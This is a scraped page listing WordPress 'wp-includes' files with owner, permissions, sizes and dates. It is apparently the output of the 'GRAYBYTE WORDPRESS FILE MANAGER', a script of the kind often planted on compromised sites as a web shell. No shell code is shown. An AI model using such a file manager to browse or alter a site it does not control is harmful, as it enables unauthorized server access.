1032 / wheelch2
0644
class-wp-block-parser.php
11.262 KB
May 02 2024 19:09:16
1032 / wheelch2
0644
class-wp-block-pattern-categories-registry.php
5.245 KB
September 12 2022 14:47:14
1032 / wheelch2
0644
class-wp-block-patterns-registry.php
10.53 KB
September 27 2024 08:20:18
1032 / wheelch2
0644
class-wp-block-styles-registry.php
6.253 KB
February 04 2025 08:42:26
1032 / wheelch2
0644
class-wp-block-supports.php
5.494 KB
March 04 2025 13:06:28
1032 / wheelch2
0644
class-wp-block-template.php
1.985 KB
September 20 2024 01:07:12
1032 / wheelch2
0644
class-wp-block-templates-registry.php
7.062 KB
January 30 2025 21:19:26
1032 / wheelch2
0644
class-wp-block-type-registry.php
4.896 KB
October 12 2023 11:34:34
1032 / wheelch2
0644
class-wp-block-type.php
16.86 KB
May 01 2024 23:01:10
1032 / wheelch2
0644
class-wp-block.php
22.501 KB
February 14 2025 18:38:22
1032 / wheelch2
0644
class-wp-classic-to-block-menu-converter.php
3.992 KB
August 21 2023 16:51:20
1032 / wheelch2
0644
class-wp-comment-query.php
47.261 KB
June 21 2024 16:26:14
1032 / wheelch2
0644
class-wp-comment.php
9.216 KB
February 11 2025 13:40:30
1032 / wheelch2
0644
class-wp-customize-control.php
25.245 KB
February 08 2025 12:00:20
1032 / wheelch2
0644
class-wp-customize-manager.php
197.845 KB
February 08 2025 16:00:20
1032 / wheelch2
0644
class-wp-customize-nav-menus.php
56.066 KB
March 06 2025 23:48:24
1032 / wheelch2
0644
class-wp-customize-panel.php
10.459 KB
January 22 2025 19:48:26
1032 / wheelch2
0644
class-wp-customize-section.php
10.946 KB
October 13 2024 18:09:12
1032 / wheelch2
0644
class-wp-customize-setting.php
29.26 KB
January 22 2025 19:48:26
1032 / wheelch2
0644
class-wp-customize-widgets.php
70.518 KB
January 21 2025 22:38:24
1032 / wheelch2
0644
class-wp-date-query.php
34.895 KB
November 27 2024 11:40:18
1032 / wheelch2
0644
class-wp-dependencies.php
14.784 KB
August 25 2024 22:48:14
1032 / wheelch2
0644
class-wp-dependency.php
2.565 KB
November 25 2022 15:12:16
1032 / wheelch2
0644
class-wp-duotone.php
39.827 KB
June 14 2024 11:18:12
1032 / wheelch2
0644
class-wp-editor.php
70.64 KB
April 30 2025 18:30:12
1032 / wheelch2
0644
class-wp-embed.php
15.558 KB
April 14 2025 13:31:24
1032 / wheelch2
0644
class-wp-error.php
7.326 KB
February 21 2023 16:39:20
1032 / wheelch2
0644
class-wp-exception.php
0.247 KB
September 27 2024 18:28:14
1032 / wheelch2
0644
class-wp-fatal-error-handler.php
7.959 KB
October 22 2024 09:16:16
1032 / wheelch2
0644
class-wp-feed-cache-transient.php
3.102 KB
September 30 2024 21:50:20
1032 / wheelch2
0644
class-wp-feed-cache.php
0.946 KB
September 30 2024 21:50:20
1032 / wheelch2
0644
class-wp-hook.php
15.625 KB
September 18 2023 11:41:18
1032 / wheelch2
0644
class-wp-http-cookie.php
7.216 KB
June 24 2023 16:17:24
1032 / wheelch2
0644
class-wp-http-curl.php
12.247 KB
September 21 2023 17:29:12
1032 / wheelch2
0644
class-wp-http-encoding.php
6.532 KB
June 22 2023 13:57:24
1032 / wheelch2
0644
class-wp-http-ixr-client.php
3.419 KB
September 12 2022 14:47:14
1032 / wheelch2
0644
class-wp-http-proxy.php
5.84 KB
June 22 2023 13:36:26
1032 / wheelch2
0644
class-wp-http-requests-hooks.php
1.975 KB
December 15 2022 21:32:18
1032 / wheelch2
0644
class-wp-http-requests-response.php
4.297 KB
October 11 2023 06:05:26
1032 / wheelch2
0644
class-wp-http-response.php
2.907 KB
September 12 2022 14:47:14
1032 / wheelch2
0644
class-wp-http-streams.php
16.464 KB
September 21 2023 17:29:12
1032 / wheelch2
0644
class-wp-http.php
40.604 KB
January 22 2025 19:48:26
1032 / wheelch2
0644
class-wp-image-editor-gd.php
19.689 KB
November 29 2024 23:48:16
1032 / wheelch2
0644
class-wp-image-editor-imagick.php
33.921 KB
March 18 2025 23:25:32
1032 / wheelch2
0644
class-wp-image-editor.php
17.116 KB
February 21 2025 20:25:24
1032 / wheelch2
0644
class-wp-list-util.php
7.269 KB
February 27 2024 22:38:16
1032 / wheelch2
0644
class-wp-locale-switcher.php
6.617 KB
January 08 2025 12:54:18
1032 / wheelch2
0644
class-wp-locale.php
16.487 KB
February 25 2025 22:40:22
1032 / wheelch2
0644
class-wp-matchesmapregex.php
1.785 KB
February 06 2024 01:25:14
1032 / wheelch2
0644
class-wp-meta-query.php
29.815 KB
April 22 2024 19:25:08
1032 / wheelch2
0644
class-wp-metadata-lazyloader.php
6.673 KB
May 11 2023 10:15:24
1032 / wheelch2
0644
class-wp-navigation-fallback.php
8.995 KB
October 06 2023 13:06:22
1032 / wheelch2
0644
class-wp-network-query.php
19.392 KB
June 21 2024 16:26:14
1032 / wheelch2
0644
class-wp-network.php
12.008 KB
September 13 2024 21:12:16
1032 / wheelch2
0644
class-wp-object-cache.php
17.113 KB
September 19 2024 11:12:16
1032 / wheelch2
0644
class-wp-oembed-controller.php
6.743 KB
March 06 2024 05:05:12
1032 / wheelch2
0644
class-wp-oembed.php
30.909 KB
February 28 2025 13:30:22
1032 / wheelch2
0644
class-wp-paused-extensions-storage.php
4.991 KB
September 03 2024 17:19:14
1032 / wheelch2
0644
class-wp-phpmailer.php
3.713 KB
January 08 2025 12:54:18
1032 / wheelch2
0644
class-wp-plugin-dependencies.php
24.722 KB
March 17 2025 22:40:26
1032 / wheelch2
0644
class-wp-post-type.php
29.961 KB
February 09 2025 11:09:22
1032 / wheelch2
0644
class-wp-post.php
6.336 KB
February 12 2025 18:11:26
1032 / wheelch2
0644
class-wp-query.php
154.319 KB
March 18 2025 23:34:26
1032 / wheelch2
0644
class-wp-recovery-mode-cookie-service.php
6.716 KB
October 04 2022 02:59:14
1032 / wheelch2
0644
class-wp-recovery-mode-email-service.php
10.921 KB
May 02 2023 14:45:22
1032 / wheelch2
0644
class-wp-recovery-mode-key-service.php
4.77 KB
February 17 2025 11:24:22
1032 / wheelch2
0644
class-wp-recovery-mode-link-service.php
3.382 KB
September 12 2022 14:47:14
1032 / wheelch2
0644
class-wp-recovery-mode.php
11.185 KB
February 23 2025 11:11:22
1032 / wheelch2
0644
class-wp-rewrite.php
62.195 KB
October 19 2024 22:54:18
1032 / wheelch2
0644
class-wp-role.php
2.464 KB
September 08 2023 08:32:24
1032 / wheelch2
0644
class-wp-roles.php
8.385 KB
September 03 2024 17:19:14
1032 / wheelch2
0644
class-wp-script-modules.php
19.007 KB
December 11 2024 15:20:18
1032 / wheelch2
0644
class-wp-scripts.php
27.68 KB
August 10 2024 22:00:14
1032 / wheelch2
0644
class-wp-session-tokens.php
7.147 KB
February 11 2025 11:14:22
1032 / wheelch2
0644
class-wp-simplepie-file.php
3.328 KB
September 30 2024 21:50:20
1032 / wheelch2
0644
class-wp-simplepie-sanitize-kses.php
1.865 KB
January 22 2025 19:48:26
1032 / wheelch2
0644
class-wp-site-query.php
30.884 KB
September 11 2024 11:08:20
1032 / wheelch2
0644
class-wp-site.php
7.279 KB
September 12 2022 14:47:14
1032 / wheelch2
0644
class-wp-speculation-rules.php
7.351 KB
February 18 2025 22:32:22
1032 / wheelch2
0644
class-wp-styles.php
10.752 KB
August 10 2024 22:00:14
1032 / wheelch2
0644
class-wp-tax-query.php
19.097 KB
February 16 2024 21:47:12
1032 / wheelch2
0644
class-wp-taxonomy.php
18.124 KB
March 26 2025 22:07:28
1032 / wheelch2
0644
class-wp-term-query.php
39.911 KB
October 30 2024 22:34:20
1032 / wheelch2
0644
class-wp-term.php
5.174 KB
September 12 2022 14:47:14
1032 / wheelch2
0644
class-wp-text-diff-renderer-inline.php
0.956 KB
February 14 2024 19:27:10
1032 / wheelch2
0644
class-wp-text-diff-renderer-table.php
18.438 KB
January 22 2025 19:48:26
1032 / wheelch2
0644
class-wp-textdomain-registry.php
10.235 KB
November 20 2024 02:50:24
1032 / wheelch2
0644
class-wp-theme-json-data.php
1.767 KB
June 04 2024 10:55:14
1032 / wheelch2
0644
class-wp-theme-json-resolver.php
34.9 KB
November 04 2024 02:34:16
1032 / wheelch2
0644
class-wp-theme-json-schema.php
7.194 KB
June 06 2024 07:02:16
1032 / wheelch2
0644
class-wp-theme-json.php
159.712 KB
March 19 2025 18:46:30
1032 / wheelch2
0644
class-wp-theme.php
64.268 KB
April 08 2025 13:18:28
1032 / wheelch2
0644
class-wp-token-map.php
27.947 KB
July 19 2024 22:44:16
1032 / wheelch2
0644
class-wp-url-pattern-prefixer.php
4.689 KB
February 18 2025 22:32:22
1032 / wheelch2
0644
class-wp-user-meta-session-tokens.php
2.92 KB
January 09 2019 05:04:50
1032 / wheelch2
0644
class-wp-user-query.php
42.632 KB
December 19 2024 10:24:24
1032 / wheelch2
0644
class-wp-user-request.php
2.251 KB
February 17 2025 11:24:22
1032 / wheelch2
0644
class-wp-user.php
22.455 KB
March 04 2025 14:19:22
1032 / wheelch2
0644
class-wp-walker.php
13.01 KB
July 26 2024 06:56:14
1032 / wheelch2
0644
class-wp-widget-factory.php
3.269 KB
September 12 2022 14:47:14
1032 / wheelch2
0644
class-wp-widget.php
17.997 KB
November 02 2024 15:01:20
1032 / wheelch2
0644
class-wp-xmlrpc-server.php
210.395 KB
February 08 2025 16:00:20
1032 / wheelch2
0644
class-wp.php
25.701 KB
January 29 2025 18:12:26
1032 / wheelch2
0644
class-wpdb.php
115.512 KB
February 11 2025 11:14:22
1032 / wheelch2
0644
class.wp-dependencies.php
0.364 KB
September 20 2022 13:17:12
1032 / wheelch2
0644
class.wp-scripts.php
0.335 KB
September 20 2022 13:17:12
1032 / wheelch2
0644
class.wp-styles.php
0.33 KB
September 20 2022 13:17:12
1032 / wheelch2
0644
comment-template.php
100.471 KB
December 08 2024 23:43:22
1032 / wheelch2
0644
comment.php
128.464 KB
May 21 2025 00:30:03
1032 / wheelch2
0644
compat.php
15.992 KB
May 21 2025 00:30:03
1032 / wheelch2
0644
cron.php
41.81 KB
May 21 2025 00:30:03
1032 / wheelch2
0644
date.php
0.391 KB
June 17 2022 10:20:14
1032 / wheelch2
0644
default-constants.php
11.099 KB
September 30 2024 22:58:16
1032 / wheelch2
0644
default-filters.php
35.837 KB
March 25 2025 06:45:28
1032 / wheelch2
0644
default-widgets.php
2.241 KB
January 22 2025 19:48:26
1032 / wheelch2
0644
deprecated.php
187.073 KB
March 13 2025 23:00:32
1032 / wheelch2
0644
embed-template.php
0.33 KB
June 17 2022 10:20:14
1032 / wheelch2
0644
embed.php
37.277 KB
January 24 2025 13:32:22
1032 / wheelch2
0644
error-protection.php
4.024 KB
May 02 2023 14:45:22
1032 / wheelch2
0644
feed-atom-comments.php
5.375 KB
March 04 2024 12:41:10
1032 / wheelch2
0644
feed-atom.php
3.048 KB
January 22 2025 19:48:26
1032 / wheelch2
0644
feed-rdf.php
2.605 KB
January 29 2020 00:45:18
1032 / wheelch2
0644
feed-rss.php
1.161 KB
January 29 2020 00:45:18
1032 / wheelch2
0644
feed-rss2-comments.php
4.039 KB
March 04 2024 12:41:10
1032 / wheelch2
0644
feed-rss2.php
3.71 KB
January 29 2020 00:45:18
1032 / wheelch2
0644
feed.php
22.862 KB
May 21 2025 00:30:03
1032 / wheelch2
0644
fonts.php
9.522 KB
May 21 2025 00:30:03
1032 / wheelch2
0644
formatting.php
334.239 KB
May 21 2025 00:30:03
1032 / wheelch2
0644
functions.php
280.946 KB
May 21 2025 00:30:01
1032 / wheelch2
0444
functions.wp-scripts.php
14.217 KB
May 26 2024 19:51:14
1032 / wheelch2
0644
functions.wp-styles.php
8.382 KB
May 26 2024 19:51:14
1032 / wheelch2
0644
general-template.php
168.58 KB
April 16 2025 09:38:42
1032 / wheelch2
0644
global-styles-and-settings.php
20.763 KB
February 14 2025 18:38:22
1032 / wheelch2
0644
http.php
24.719 KB
May 21 2025 00:30:03
1032 / wheelch2
0644
https-detection.php
5.72 KB
February 24 2025 13:43:24
1032 / wheelch2
0644
https-migration.php
4.63 KB
July 10 2023 21:38:26
1032 / wheelch2
0644
kses.php
72.727 KB
January 21 2025 22:59:18
1032 / wheelch2
0644
l10n.php
66.924 KB
May 21 2025 00:30:03
1032 / wheelch2
0644
link-template.php
154.103 KB
February 24 2025 13:43:24
1032 / wheelch2
0644
load.php
55.117 KB
May 21 2025 00:30:03
1032 / wheelch2
0644
locale.php
0.158 KB
October 08 2019 16:19:04
1032 / wheelch2
0644
media-template.php
61.582 KB
February 17 2025 22:58:24
1032 / wheelch2
0644
media.php
215.115 KB
May 21 2025 00:30:03
1032 / wheelch2
0644
meta.php
63.714 KB
February 23 2025 21:53:26
1032 / wheelch2
0644
ms-blogs.php
25.239 KB
January 22 2025 19:48:26
1032 / wheelch2
0644
ms-default-constants.php
4.806 KB
June 13 2024 19:50:14
1032 / wheelch2
0644
ms-default-filters.php
6.48 KB
February 24 2023 01:23:20
1032 / wheelch2
0644
ms-deprecated.php
21.249 KB
April 12 2024 16:47:14
1032 / wheelch2
0644
ms-files.php
2.68 KB
April 30 2025 18:30:12
1032 / wheelch2
0644
ms-functions.php
89.436 KB
February 03 2025 19:52:24
1032 / wheelch2
0644
ms-load.php
19.417 KB
March 25 2024 17:19:18
1032 / wheelch2
0644
ms-network.php
3.693 KB
May 02 2023 10:26:24
1032 / wheelch2
0644
ms-settings.php
4.099 KB
January 22 2025 19:48:26
1032 / wheelch2
0644
ms-site.php
40.352 KB
January 17 2025 00:12:26
1032 / wheelch2
0644
nav-menu-template.php
25.381 KB
January 22 2025 19:48:26
1032 / wheelch2
0644
nav-menu.php
43.333 KB
May 21 2025 00:30:03
1032 / wheelch2
0644
option.php
100.649 KB
March 05 2025 22:59:22
1032 / wheelch2
0644
pluggable-deprecated.php
6.176 KB
February 03 2025 19:52:24
1032 / wheelch2
0644
pluggable.php
119.824 KB
May 21 2025 00:30:03
1032 / wheelch2
0644
plugin.php
34.777 KB
May 21 2025 00:30:01
1032 / wheelch2
0444
post-formats.php
6.936 KB
May 27 2024 15:29:16
1032 / wheelch2
0644
post-template.php
67.039 KB
February 04 2025 00:32:24
1032 / wheelch2
0644
post-thumbnail-template.php
10.624 KB
December 20 2024 23:35:24
1032 / wheelch2
0644
post.php
284.875 KB
May 21 2025 00:30:03
1032 / wheelch2
0644
query.php
36.167 KB
May 21 2025 00:30:03
1032 / wheelch2
0644
registration-functions.php
0.195 KB
November 12 2020 11:17:08
1032 / wheelch2
0644
registration.php
0.195 KB
November 12 2020 11:17:08
1032 / wheelch2
0644
rest-api.php
97.907 KB
May 21 2025 00:30:03
1032 / wheelch2
0644
revision.php
30.021 KB
May 21 2025 00:30:03
1032 / wheelch2
0644
rewrite.php
19.083 KB
September 18 2024 18:08:12
1032 / wheelch2
0644
robots-template.php
5.063 KB
April 06 2022 14:33:04
1032 / wheelch2
0644
rss-functions.php
0.249 KB
November 16 2020 22:52:06
1032 / wheelch2
0644
rss.php
22.571 KB
September 18 2024 20:40:12
1032 / wheelch2
0644
script-loader.php
130.139 KB
April 30 2025 18:30:12
1032 / wheelch2
0644
script-modules.php
7.531 KB
October 13 2024 17:49:16
1032 / wheelch2
0644
session.php
0.252 KB
February 06 2020 06:33:12
1032 / wheelch2
0644
shortcodes.php
23.487 KB
May 25 2024 02:04:12
1032 / wheelch2
0644
sitemaps.php
3.162 KB
May 21 2025 00:30:03
1032 / wheelch2
0644
speculative-loading.php
8.357 KB
February 27 2025 22:14:26
1032 / wheelch2
0644
spl-autoload-compat.php
0.431 KB
November 12 2020 11:17:08
1032 / wheelch2
0644
style-engine.php
7.386 KB
May 21 2025 00:30:03
1032 / wheelch2
0644
taxonomy.php
172.097 KB
May 21 2025 00:30:03
1032 / wheelch2
0644
template-canvas.php
0.531 KB
September 30 2023 23:22:28
1032 / wheelch2
0644
template-loader.php
3.093 KB
May 21 2025 00:30:03
1032 / wheelch2
0644
template.php
23.588 KB
February 21 2024 19:26:08
1032 / wheelch2
0644
theme-i18n.json
1.49 KB
January 08 2025 12:36:24
1032 / wheelch2
0644
theme-previews.php
2.766 KB
December 08 2023 06:32:24
1032 / wheelch2
0644
theme-templates.php
6.092 KB
February 17 2025 17:49:20
1032 / wheelch2
0644
theme.json
8.5 KB
June 12 2024 05:11:14
1032 / wheelch2
0644
theme.php
131.155 KB
May 21 2025 00:30:03
1032 / wheelch2
0644
update.php
36.624 KB
May 21 2025 00:30:03
1032 / wheelch2
0644
user.php
171.702 KB
May 21 2025 00:30:03
1032 / wheelch2
0644
vars.php
6.408 KB
May 21 2025 00:30:03
1032 / wheelch2
0644
version.php
1.064 KB
May 21 2025 00:30:03
1032 / wheelch2
0644
widgets.php
69.062 KB
May 21 2025 00:30:03
1032 / wheelch2
0644
wp-db.php
0.435 KB
July 21 2022 21:45:12
1032 / wheelch2
0644
wp-diff.php
0.78 KB
January 22 2025 19:48:26
1032 / wheelch2
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF